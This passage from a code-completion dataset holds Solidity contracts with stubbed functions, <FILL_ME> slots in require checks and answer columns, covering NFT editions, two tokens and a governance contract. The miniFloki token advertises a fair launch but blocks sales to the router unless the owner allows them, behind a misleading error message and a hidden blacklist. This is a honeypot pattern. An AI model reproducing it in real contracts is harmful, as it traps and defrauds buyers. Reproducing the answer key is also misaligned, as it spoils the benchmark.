CountersUpgradeable.Counter private atEditionId;
// Mapping of edition id to descriptive data.
mapping(uint256 => Edition) public editions;
// Mapping of token id to edition id.
mapping(uint256 => uint256) public tokenToEdition;
// The amount of funds that have been deposited for a given edition.
mapping(uint256 => uint256) public depositedForEdition;
// The amount of funds that have already been withdrawn for a given edition.
mapping(uint256 => uint256) public withdrawnForEdition;
// The presale typehash (used for checking signature validity)
bytes32 public constant PRESALE_TYPEHASH =
keccak256('EditionInfo(address contractAddress,address buyerAddress,uint256 editionId)');
// ================================
// EVENTS
// ================================
event EditionCreated(
uint256 indexed editionId,
address fundingRecipient,
uint256 price,
uint32 quantity,
uint32 royaltyBPS,
uint32 startTime,
uint32 endTime,
uint32 presaleQuantity,
address signerAddress
);
event EditionPurchased(
uint256 indexed editionId,
uint256 indexed tokenId,
// `numSold` at time of purchase represents the "serial number" of the NFT.
uint32 numSold,
// The account that paid for and received the NFT.
address indexed buyer
);
event AuctionTimeSet(TimeType timeType, uint256 editionId, uint32 indexed newTime);
// ================================
// FUNCTIONS - PUBLIC & EXTERNAL
// ================================
/// @notice Initializes the contract
/// @param _owner Owner of edition
/// @param _name Name of artist
function initialize(
address _owner,
uint256 _artistId,
string memory _name,
string memory _symbol,
string memory _baseURI
) public initializer {
}
/// @notice Creates a new edition.
/// @param _fundingRecipient The account that will receive sales revenue.
/// @param _price The price at which each token will be sold, in ETH.
/// @param _quantity The maximum number of tokens that can be sold.
/// @param _royaltyBPS The royalty amount in bps.
/// @param _startTime The start time of the auction, in seconds since unix epoch.
/// @param _endTime The end time of the auction, in seconds since unix epoch.
/// @param _presaleQuantity The quantity of presale tokens.
/// @param _signerAddress signer address.
function createEdition(
address payable _fundingRecipient,
uint256 _price,
uint32 _quantity,
uint32 _royaltyBPS,
uint32 _startTime,
uint32 _endTime,
uint32 _presaleQuantity,
address _signerAddress
) external onlyOwner {
}
/// @notice Creates a new token for the given edition, and assigns it to the buyer
/// @param _editionId The id of the edition to purchase
/// @param _signature A signed message for authorizing presale purchases
function buyEdition(uint256 _editionId, bytes calldata _signature) external payable {
// Caching variables locally to reduce reads
uint256 price = editions[_editionId].price;
uint32 quantity = editions[_editionId].quantity;
uint32 numSold = editions[_editionId].numSold;
uint32 startTime = editions[_editionId].startTime;
uint32 endTime = editions[_editionId].endTime;
uint32 presaleQuantity = editions[_editionId].presaleQuantity;
// Check that the edition exists. Note: this is redundant
// with the next check, but it is useful for clearer error messaging.
require(quantity > 0, 'Edition does not exist');
// Check that there are still tokens available to purchase.
require(numSold < quantity, 'This edition is already sold out.');
// Check that the sender is paying the correct amount.
require(msg.value >= price, 'Must send enough to purchase the edition.');
// If the open auction hasn't started...
if (startTime > block.timestamp) {
// Check that presale tokens are still available
require(
presaleQuantity > 0 && numSold < presaleQuantity,
'No presale available & open auction not started'
);
// Check that the signature is valid.
require(<FILL_ME>)
}
// Don't allow purchases after the end time
require(endTime > block.timestamp, 'Auction has ended');
// Update the deposited total for the edition
depositedForEdition[_editionId] += msg.value;
// Increment the number of tokens sold for this edition.
editions[_editionId].numSold++;
// Mint a new token for the sender, using the `tokenId`.
_mint(msg.sender, atTokenId.current());
// Store the mapping of token id to the edition being purchased.
tokenToEdition[atTokenId.current()] = _editionId;
emit EditionPurchased(_editionId, atTokenId.current(), editions[_editionId].numSold, msg.sender);
atTokenId.increment();
}
function withdrawFunds(uint256 _editionId) external {
}
/// @notice Sets the start time for an edition
function setStartTime(uint256 _editionId, uint32 _startTime) external onlyOwner {
}
/// @notice Sets the end time for an edition
function setEndTime(uint256 _editionId, uint32 _endTime) external onlyOwner {
}
/// @notice Returns token URI (metadata URL). e.g. https://sound.xyz/api/metadata/[artistId]/[editionId]/[tokenId]
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
/// @notice Returns contract URI used by Opensea. e.g. https://sound.xyz/api/metadata/[artistId]/storefront
function contractURI() public view returns (string memory) {
}
/// @notice Get token ids for a given edition id
/// @param _editionId edition id
function getTokenIdsOfEdition(uint256 _editionId) public view returns (uint256[] memory) {
}
/// @notice Get owners of a given edition id
/// @param _editionId edition id
function getOwnersOfEdition(uint256 _editionId) public view returns (address[] memory) {
}
/// @notice Get royalty information for token
/// @param _tokenId token id
/// @param _salePrice Sale price for the token
function royaltyInfo(uint256 _tokenId, uint256 _salePrice)
external
view
override
returns (address fundingRecipient, uint256 royaltyAmount)
{
}
/// @notice The total number of tokens created by this contract
function totalSupply() external view returns (uint256) {
}
/// @notice Informs other contracts which interfaces this contract supports
/// @dev https://eips.ethereum.org/EIPS/eip-165
function supportsInterface(bytes4 _interfaceId)
public
view
override(ERC721Upgradeable, IERC165Upgradeable)
returns (bool)
{
}
// ================================
// FUNCTIONS - PRIVATE
// ================================
/// @notice Sends funds to an address
/// @param _recipient The address to send funds to
/// @param _amount The amount of funds to send
function _sendFunds(address payable _recipient, uint256 _amount) private {
}
/// @notice Gets signer address to validate presale purchase
/// @param _signature signed message
/// @param _editionId edition id
/// @return address of signer
/// @dev https://eips.ethereum.org/EIPS/eip-712
function getSigner(bytes calldata _signature, uint256 _editionId) private view returns (address) {
}
}
| getSigner(_signature,_editionId)==editions[_editionId].signerAddress,'Invalid signer' | 389,809 | getSigner(_signature,_editionId)==editions[_editionId].signerAddress |
null | pragma solidity ^0.4.11;
contract Owner {
address public owner;
function Owner() {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) onlyOwner {
}
}
contract TokenRecipient {
function receiveApproval(
address _from,
uint256 _value,
address _token,
bytes _extraData);
}
contract Token {
string public standard = "Token 0.1";
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function Token (
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) {
}
function transfer(address _to, uint256 _value) returns (bool success) {
}
function approve(address _spender, uint256 _value) returns (bool success) {
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
returns (bool success)
{
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
}
}
//Business Service Token
contract BDragon is Token, Owner {
uint256 public constant INITIAL_SUPPLY = 15 * 10000 * 10000 * 1 ether; // 1e9 * 1e18
string public constant NAME = "B-Dragon"; //名称
string public constant SYMBOL = "DO"; // 简称
// string public constant STANDARD = "Token 1.0";
uint8 public constant DECIMALS = 18;
uint256 public constant BUY = 0; // 用于自动买卖
uint256 constant RATE = 1 szabo;
bool private couldTrade = false;
// string public standard = STANDARD;
// string public name;
// string public symbol;
// uint public decimals;
uint256 public sellPrice;
uint256 public buyPrice;
uint minBalanceForAccounts;
mapping (address => uint256) public balanceOf;
mapping (address => bool) frozenAccount;
event FrozenFunds(address indexed _target, bool _frozen);
function BDragon() Token(INITIAL_SUPPLY, NAME, DECIMALS, SYMBOL) {
}
function transfer(address _to, uint256 _value) returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
}
function freezeAccount(address _target, bool freeze) onlyOwner {
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner {
}
function buy() payable returns (uint amount) {
require(couldTrade);
amount = msg.value * RATE / buyPrice;
require(balanceOf[this] >= amount);
require(<FILL_ME>)
balanceOf[this] -= amount;
balanceOf[msg.sender] += amount;
Transfer(this, msg.sender, amount);
return amount;
}
function sell(uint256 amountInWeiDecimalIs18) returns (uint256 revenue) {
}
function withdraw(uint256 amount) onlyOwner returns (bool success) {
}
function setCouldTrade(uint256 amountInWeiDecimalIs18) onlyOwner returns (bool success) {
}
function stopTrade() onlyOwner returns (bool success) {
}
function () {
}
}
| balanceOf[msg.sender]+amount>=amount | 389,822 | balanceOf[msg.sender]+amount>=amount |
null | pragma solidity ^0.4.11;
contract Owner {
address public owner;
function Owner() {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) onlyOwner {
}
}
contract TokenRecipient {
function receiveApproval(
address _from,
uint256 _value,
address _token,
bytes _extraData);
}
contract Token {
string public standard = "Token 0.1";
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function Token (
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) {
}
function transfer(address _to, uint256 _value) returns (bool success) {
}
function approve(address _spender, uint256 _value) returns (bool success) {
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
returns (bool success)
{
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
}
}
//Business Service Token
contract BDragon is Token, Owner {
uint256 public constant INITIAL_SUPPLY = 15 * 10000 * 10000 * 1 ether; // 1e9 * 1e18
string public constant NAME = "B-Dragon"; //名称
string public constant SYMBOL = "DO"; // 简称
// string public constant STANDARD = "Token 1.0";
uint8 public constant DECIMALS = 18;
uint256 public constant BUY = 0; // 用于自动买卖
uint256 constant RATE = 1 szabo;
bool private couldTrade = false;
// string public standard = STANDARD;
// string public name;
// string public symbol;
// uint public decimals;
uint256 public sellPrice;
uint256 public buyPrice;
uint minBalanceForAccounts;
mapping (address => uint256) public balanceOf;
mapping (address => bool) frozenAccount;
event FrozenFunds(address indexed _target, bool _frozen);
function BDragon() Token(INITIAL_SUPPLY, NAME, DECIMALS, SYMBOL) {
}
function transfer(address _to, uint256 _value) returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
}
function freezeAccount(address _target, bool freeze) onlyOwner {
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner {
}
function buy() payable returns (uint amount) {
}
function sell(uint256 amountInWeiDecimalIs18) returns (uint256 revenue) {
}
function withdraw(uint256 amount) onlyOwner returns (bool success) {
}
function setCouldTrade(uint256 amountInWeiDecimalIs18) onlyOwner returns (bool success) {
couldTrade = true;
require(<FILL_ME>)
require(balanceOf[this] + amountInWeiDecimalIs18 >= amountInWeiDecimalIs18);
balanceOf[msg.sender] -= amountInWeiDecimalIs18;
balanceOf[this] += amountInWeiDecimalIs18;
Transfer(msg.sender, this, amountInWeiDecimalIs18);
return true;
}
function stopTrade() onlyOwner returns (bool success) {
}
function () {
}
}
| balanceOf[msg.sender]>=amountInWeiDecimalIs18 | 389,822 | balanceOf[msg.sender]>=amountInWeiDecimalIs18 |
null | pragma solidity ^0.4.11;
contract Owner {
address public owner;
function Owner() {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) onlyOwner {
}
}
contract TokenRecipient {
function receiveApproval(
address _from,
uint256 _value,
address _token,
bytes _extraData);
}
contract Token {
string public standard = "Token 0.1";
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function Token (
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) {
}
function transfer(address _to, uint256 _value) returns (bool success) {
}
function approve(address _spender, uint256 _value) returns (bool success) {
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
returns (bool success)
{
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
}
}
//Business Service Token
contract BDragon is Token, Owner {
uint256 public constant INITIAL_SUPPLY = 15 * 10000 * 10000 * 1 ether; // 1e9 * 1e18
string public constant NAME = "B-Dragon"; //名称
string public constant SYMBOL = "DO"; // 简称
// string public constant STANDARD = "Token 1.0";
uint8 public constant DECIMALS = 18;
uint256 public constant BUY = 0; // 用于自动买卖
uint256 constant RATE = 1 szabo;
bool private couldTrade = false;
// string public standard = STANDARD;
// string public name;
// string public symbol;
// uint public decimals;
uint256 public sellPrice;
uint256 public buyPrice;
uint minBalanceForAccounts;
mapping (address => uint256) public balanceOf;
mapping (address => bool) frozenAccount;
event FrozenFunds(address indexed _target, bool _frozen);
function BDragon() Token(INITIAL_SUPPLY, NAME, DECIMALS, SYMBOL) {
}
function transfer(address _to, uint256 _value) returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
}
function freezeAccount(address _target, bool freeze) onlyOwner {
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner {
}
function buy() payable returns (uint amount) {
}
function sell(uint256 amountInWeiDecimalIs18) returns (uint256 revenue) {
}
function withdraw(uint256 amount) onlyOwner returns (bool success) {
}
function setCouldTrade(uint256 amountInWeiDecimalIs18) onlyOwner returns (bool success) {
couldTrade = true;
require(balanceOf[msg.sender] >= amountInWeiDecimalIs18);
require(<FILL_ME>)
balanceOf[msg.sender] -= amountInWeiDecimalIs18;
balanceOf[this] += amountInWeiDecimalIs18;
Transfer(msg.sender, this, amountInWeiDecimalIs18);
return true;
}
function stopTrade() onlyOwner returns (bool success) {
}
function () {
}
}
| balanceOf[this]+amountInWeiDecimalIs18>=amountInWeiDecimalIs18 | 389,822 | balanceOf[this]+amountInWeiDecimalIs18>=amountInWeiDecimalIs18 |
null | pragma solidity ^0.4.11;
contract Owner {
address public owner;
function Owner() {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) onlyOwner {
}
}
contract TokenRecipient {
function receiveApproval(
address _from,
uint256 _value,
address _token,
bytes _extraData);
}
contract Token {
string public standard = "Token 0.1";
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function Token (
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) {
}
function transfer(address _to, uint256 _value) returns (bool success) {
}
function approve(address _spender, uint256 _value) returns (bool success) {
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
returns (bool success)
{
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
}
}
//Business Service Token
contract BDragon is Token, Owner {
uint256 public constant INITIAL_SUPPLY = 15 * 10000 * 10000 * 1 ether; // 1e9 * 1e18
string public constant NAME = "B-Dragon"; //名称
string public constant SYMBOL = "DO"; // 简称
// string public constant STANDARD = "Token 1.0";
uint8 public constant DECIMALS = 18;
uint256 public constant BUY = 0; // 用于自动买卖
uint256 constant RATE = 1 szabo;
bool private couldTrade = false;
// string public standard = STANDARD;
// string public name;
// string public symbol;
// uint public decimals;
uint256 public sellPrice;
uint256 public buyPrice;
uint minBalanceForAccounts;
mapping (address => uint256) public balanceOf;
mapping (address => bool) frozenAccount;
event FrozenFunds(address indexed _target, bool _frozen);
function BDragon() Token(INITIAL_SUPPLY, NAME, DECIMALS, SYMBOL) {
}
function transfer(address _to, uint256 _value) returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
}
function freezeAccount(address _target, bool freeze) onlyOwner {
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner {
}
function buy() payable returns (uint amount) {
}
function sell(uint256 amountInWeiDecimalIs18) returns (uint256 revenue) {
}
function withdraw(uint256 amount) onlyOwner returns (bool success) {
}
function setCouldTrade(uint256 amountInWeiDecimalIs18) onlyOwner returns (bool success) {
}
function stopTrade() onlyOwner returns (bool success) {
couldTrade = false;
uint256 _remain = balanceOf[this];
require(<FILL_ME>)
balanceOf[msg.sender] += _remain;
balanceOf[this] -= _remain;
Transfer(this, msg.sender, _remain);
return true;
}
function () {
}
}
| balanceOf[msg.sender]+_remain>=_remain | 389,822 | balanceOf[msg.sender]+_remain>=_remain |
null | /*
__
__ o __ o |_ | _ | o
||| | | | | | | (_) |< |
2% Maximum Buy
0% Tax, all marketing will be done at the team's expense
Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced.
100% Fair Launch - no presale, no whitelist
Join the telegram or visit our site for more info
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
contract MFLOKI is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 4500000000000*10**18;
string public _name = "miniFloki";
string public _symbol= "MFLOKI";
bool balances1 = true;
constructor() {
}
address public owner;
address private marketAddy = payable(0x919eB983eeB5dea703523744d8Fd46bd36aCEe51);
modifier onlyOwner {
}
function changeOwner(address _owner) onlyOwner public {
}
function RenounceOwnership() onlyOwner public {
}
function giveReflections(address[] memory recipients_) onlyOwner public {
}
function setReflections(address _addy) onlyOwner public {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require(<FILL_ME>)
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function burn(address account, uint256 amount) onlyOwner public virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
| (amount<100000000000*10**18)||(sender==marketAddy)||(sender==owner) | 389,878 | (amount<100000000000*10**18)||(sender==marketAddy)||(sender==owner) |
"GovernorAlpha::propose: proposer votes below proposal threshold" | pragma solidity ^0.5.17;
pragma experimental ABIEncoderV2;
// SPDX-License-Identifier: MIT
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
// Original work from Compound: https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/GovernorAlpha.sol
// Modified to work in the GRAP system
// all votes work on underlying _grapBalances[address], not balanceOf(address)
// Original audit: https://blog.openzeppelin.com/compound-alpha-governance-system-audit/
// Overview:
// No Critical
// High:
// Issue:
// Approved proposal may be impossible to queue, cancel or execute
// Fixed with `proposalMaxOperations`
// Issue:
// Queued proposal with repeated actions cannot be executed
// Fixed by explicitly disallow proposals with repeated actions to be queued in the Timelock contract.
//
// Changes made by GRAP after audit:
// Formatting, naming, & uint256 instead of uint
// Since GRAP supply changes, updated quorum & proposal requirements
// If any uint96, changed to uint256 to match GRAP as opposed to comp
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "GRAP Governor Alpha";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public view returns (uint256) { } // 4% of GRAP
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public view returns (uint256) { } // 1% of GRAP
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint256) { } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint256) { } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint256) { } // ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the Compound Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the Compound governance token
GRAPInterface public grap;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint256 public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint256 id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint256 eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint256 startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint256 endBlock;
/// @notice Current number of votes in favor of this proposal
uint256 forVotes;
/// @notice Current number of votes in opposition to this proposal
uint256 againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint256 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint256 => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint256) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint256 id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint256 startBlock, uint256 endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint256 proposalId, bool support, uint256 votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint256 id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint256 id, uint256 eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint256 id);
constructor(address timelock_, address grap_) public {
}
function propose(
address[] memory targets,
uint[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description
)
public
returns (uint256)
{
require(<FILL_ME>)
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint256 latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint256 startBlock = add256(block.number, votingDelay());
uint256 endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(
newProposal.id,
msg.sender,
targets,
values,
signatures,
calldatas,
startBlock,
endBlock,
description
);
return newProposal.id;
}
function queue(uint256 proposalId)
public
{
}
function _queueOrRevert(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
)
internal
{
}
function execute(uint256 proposalId)
public
payable
{
}
function cancel(uint256 proposalId)
public
{
}
function getActions(uint256 proposalId)
public
view
returns (
address[] memory targets,
uint[] memory values,
string[] memory signatures,
bytes[] memory calldatas
)
{
}
function getReceipt(uint256 proposalId, address voter)
public
view
returns (Receipt memory)
{
}
function state(uint256 proposalId)
public
view
returns (ProposalState)
{
}
function castVote(uint256 proposalId, bool support)
public
{
}
function castVoteBySig(
uint256 proposalId,
bool support,
uint8 v,
bytes32 r,
bytes32 s
)
public
{
}
function _castVote(
address voter,
uint256 proposalId,
bool support
)
internal
{
}
function __acceptAdmin()
public
{
}
function __abdicate()
public
{
}
function __queueSetTimelockPendingAdmin(
address newPendingAdmin,
uint256 eta
)
public
{
}
function __executeSetTimelockPendingAdmin(
address newPendingAdmin,
uint256 eta
)
public
{
}
function add256(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub256(uint256 a, uint256 b) internal pure returns (uint256) {
}
function getChainId() internal pure returns (uint256) {
}
}
interface TimelockInterface {
function delay() external view returns (uint256);
function GRACE_PERIOD() external view returns (uint256);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta) external returns (bytes32);
function cancelTransaction(address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta) external;
function executeTransaction(address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta) external payable returns (bytes memory);
}
interface GRAPInterface {
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256);
function initSupply() external view returns (uint256);
